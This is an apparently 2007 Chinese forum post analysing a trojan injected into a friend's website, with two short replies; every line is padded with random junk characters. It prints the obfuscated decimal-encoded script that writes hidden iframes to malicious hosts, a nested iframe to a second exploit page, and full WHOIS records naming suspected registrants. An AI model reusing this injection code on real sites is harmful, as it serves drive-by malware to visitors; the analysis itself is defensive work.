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[原创]一篇刚写的分析木马手记

卫
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首发在我的博客里面, ^GV'Y  
^;/~$  
http://www.areway.cn/?p=175 @"s<0T^H  
5$+7Q$Gw  
7Wef[N\x  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: =ttD5 p  
          Re~6 '  
<script>t=’60,105,102,114,97,109,101, dlvU=^G#G  
32,115,114,99,61,104,116,116,112,58,47,47, r3x;lICx-  
102,114,101,101,46,117,45,117,117,117,46,99, ]+`K\G ^X  
110,47,101,114,114,111,114,46,104,116,109, TNh&g.  
32,119,105,100,116,104,61,49,48,48,32,104, V^tD@N  
101,105,103,104,116,61,48,62,60,47,105,102, k-&<_ghT \  
114,97,109,101,62′; 0(d!w*RpG  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> )-X8RRw'  
                                                                                                  _886>^b@  
<script>t=’60,105,102,114,97,109,101,32,115, RCfeIHL  
114,99,61,104,116,116,112,58,47,47,102,114, >A{e,&  
101,101,46,117,45,117,117,117,46,99,110,47, Z?S?O#FED  
101,114,114,111,114,46,104,116,109,32,119, Ru d9l.n  
105,100,116,104,61,49,48,48,32,104,101,105, #rW-jW=A  
103,104,116,61,48,62,60,47,105,102,114,97, \V'fB5  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); VEa"^{,w  
document.write(t);</script> :C^{Lc  
                                                                                                  [BdRx`  
<html xmlns=” ,(oolx"Xa  
http://www.w3.org/1999/xhtml [&~x5l 8\C  
“> \roJf&O }  
<head> pGU .+[|(  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> UQkd$w<  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> r1q'+i  
<title>首页 - 爱生活家庭网 =~D[M)UO|  
                                                                                                                                                    A ___| #R  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 i<m) s$u  
转换字符串后的大概内容是(谁点击后果自付): dSjO 12b  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… 7_36xpw  
                                                                                                                                  m~;.kc  
查询玉米u-uuu.cn的详细信息: U$DZht4>u  
Domain Name: u-uuu.cn Wk^{Tn/]  
ROID: 20070901s10001s64972306-cn B{0]v-w  
Domain Status: ok FnVW%fh  
Registrant Organization: 王雷 \a0{9Xx F  
Registrant Name: 王雷 ir}*E=*  
Administrative Email: czlovexs@126.com R7b-/ !L  
Sponsoring Registrar: 北京万网志成科技有限公司 OE[7fDe'  
Name Server:ns.yovole.com M&=SvM.f  
Name Server:ns1.yovole.com 7]So=% q  
Registration Date: 2007-09-01 17:54 LTBH/[q5  
Expiration Date: 2008-09-01 17:54 X)(K|[  
最后PING了一下地址 都没有什么…. QpzdlB44l  
                                                                                                <gX({FA  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. A/9<} m  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> kqX %y  
<script language=”javascript” src=” pno}`Cer  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ]~$@x=p2e  
> ~:,}?9  
这个玉米应该有可能是木马作者的: _Cf:\Xs m  
foafau.info的详细信息: nGTGX  
Access to INFO WHOIS information is provided to assist persons in Ax|'uvVAPT  
determining the contents of a domain name registration record in the CUdpT$$x3  
Afilias registry database. The data in this record is provided by [x?9< #T  
Afilias Limited for informational purposes only, and Afilias does not {88|J'*L  
guarantee its accuracy.  This service is intended only for query-based )M.g<[= ^  
access. You agree that you will use this data only for lawful purposes ~9@527m<',  
and that, under no circumstances will you use this data to: (a) allow, B]hRYU  
enable, or otherwise support the transmission by e-mail, telephone, or /qKor;x  
facsimile of mass unsolicited, commercial advertising or solicitations g_PP 9S_?  
to entities other than the data recipient’s own existing customers; or xc'uC bH  
(b) enable high volume, automated, electronic processes that send d8 ~%(I9  
queries or data to the systems of Registry Operator, a Registrar, or _&G_SNa  
Afilias except as reasonably necessary to register domain names or +5-|6  
modify existing registrations. All rights reserved. Afilias reserves 6f0o'  
the right to modify these terms at any time. By submitting this query, >8{{H"$;(  
you agree to abide by this policy. bCTN^  
Domain ID:D22418703-LRMS 3 P75:v  
Domain Name:FOAFAU.INFO X:f5t`;  
Created On:20-Nov-2007 16:05:42 UTC %d-WQwJ  
Last Updated On:20-Nov-2007 16:05:44 UTC (-1{W^(  
Expiration Date:20-Nov-2008 16:05:42 UTC NH5sV.vvc  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) t?^!OJ:L  
Status:CLIENT DELETE PROHIBITED t~}c"|<t  
Status:CLIENT RENEW PROHIBITED 6ym$8^  
Status:CLIENT TRANSFER PROHIBITED GGLSmfb)  
Status:CLIENT UPDATE PROHIBITED ,| 8aDL?  
Status:TRANSFER PROHIBITED e7n0=U0  
Registrant ID:GODA-040110615 TSJeS`I  
Registrant Name:liu hong EGFP$nvq  
Registrant Organization: (VkO[5j  
Registrant Street1:beijing r1.zURY  
Registrant Street2: =>o !   
Registrant Street3: |gk4X%o6  
Registrant City:beijing L B.B w  
Registrant State/Province: +F,])p4,]i  
Registrant Postal Code:100000 i,;a( Sy4  
Registrant Country:CN SG~HzQ\%  
Registrant Phone:+86.860108888777 TXd6o=  
Registrant Phone Ext.: V_^pPBa  
Registrant FAX: [T'[7 Z  
Registrant FAX Ext.: c#?~1@=  
Registrant Email:bbbshiji@163.com 1H%p|'FKA  
Admin ID:GODA-240110615 1bz^$2/k  
Admin Name:liu hong 55`p~:&VQ  
Admin Organization: (,mV6U%  
Admin Street1:beijing u"T9w]Z\  
Admin Street2: <tO@dI$~>  
Admin Street3: 1DU l<&4  
Admin City:beijing GM8>u O  
Admin State/Province: >'m&/&h  
Admin Postal Code:100000 9 M?UPE  
Admin Country:CN 5D-as9k*  
Admin Phone:+86.860108888777 *Vb#@O!  
Admin Phone Ext.: eMEKR5*-O  
Admin FAX: 1f"}]MbLR  
Admin FAX Ext.: [".94(qs  
Admin Email:bbbshiji@163.com XdzC/ {G  
Billing ID:GODA-340110615 ; X+.Ag  
Billing Name:liu hong V\n!?1{kdF  
Billing Organization: uARkf'  
Billing Street1:beijing N*PJ m6-  
Billing Street2: 3,!IV"_  
Billing Street3: 247vU1  
Billing City:beijing `6YN/"unfp  
Billing State/Province:  D5Jg(-  
Billing Postal Code:100000 V2;Nv\J\  
Billing Country:CN Az(,Q$"|5  
Billing Phone:+86.860108888777 gDw(_KC  
Billing Phone Ext.: &_@M 6[-  
Billing FAX: 7^@ 1cA=S  
Billing FAX Ext.: 2=<,#7zlJ  
Billing Email:bbbshiji@163.com } nIYNeP?D  
Tech ID:GODA-140110615 L*p7|rq$"  
Tech Name:liu hong x~IrqdmW  
Tech Organization: .4w"3>  
Tech Street1:beijing p_zVrlVb  
Tech Street2: V%t_,AT  
Tech Street3: 'F*OlZ!BWy  
Tech City:beijing fS8Pi,!  
Tech State/Province: V'za,.d-  
Tech Postal Code:100000 xrlyph5mE  
Tech Country:CN (Xz q(QV  
Tech Phone:+86.860108888777 Gw6Od j  
Tech Phone Ext.: SEu:31k{o  
Tech FAX:  SN}3  
Tech FAX Ext.: Xrc{w Dn  
Tech Email:bbbshiji@163.com -nD} k  
Name Server:NS27.DOMAINCONTROL.COM FyXO @yF  
Name Server:NS28.DOMAINCONTROL.COM c8_,S[W  
Name Server: T gLr4Ex  
Name Server: ?!c7Zx,(  
Name Server: MCXt,`}[  
Name Server: 8{%&P%vf  
Name Server: tmeg=U7  
Name Server: 3fE0cVG*  
Name Server: XCgC^c'  
Name Server: gH"a MEC  
Name Server: _S* QIbO  
Name Server: WhFE{-!gX  
Name Server: /L]@k`.q@  
                                                                                                          >h9~ /  
接着下载每个文件里面的代码: RN&8dsreZp  
一步一步看.. z>=;Xe8P8n  
sUk n.g!  
W=#jtU`:5  
gId :IR  
:a=]<_*x  
Ir- 1@_1Q  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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